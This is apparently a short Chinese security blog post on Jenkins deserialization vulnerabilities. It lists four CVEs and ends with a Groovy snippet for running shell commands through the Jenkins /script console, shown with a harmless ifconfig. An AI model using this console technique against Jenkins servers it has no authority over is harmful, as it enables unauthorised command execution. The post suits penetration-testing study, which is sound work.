Jenkins反序列化漏洞复现

Jenkins

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。

Jenkins功能包括：

• 持续的软件版本发布/测试项目。
• 监控外部调用执行的工作。

Jenkins曾经发生的反序列化漏洞：

• CVE-2015-8103
• CVE-2016-9299
• CVE-2017-1000353
• CVE-2018-1000861

Jenkins后台执行命令

访问：http://xx.xx.xx.xx/script

def cmd = 'ifconfig'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout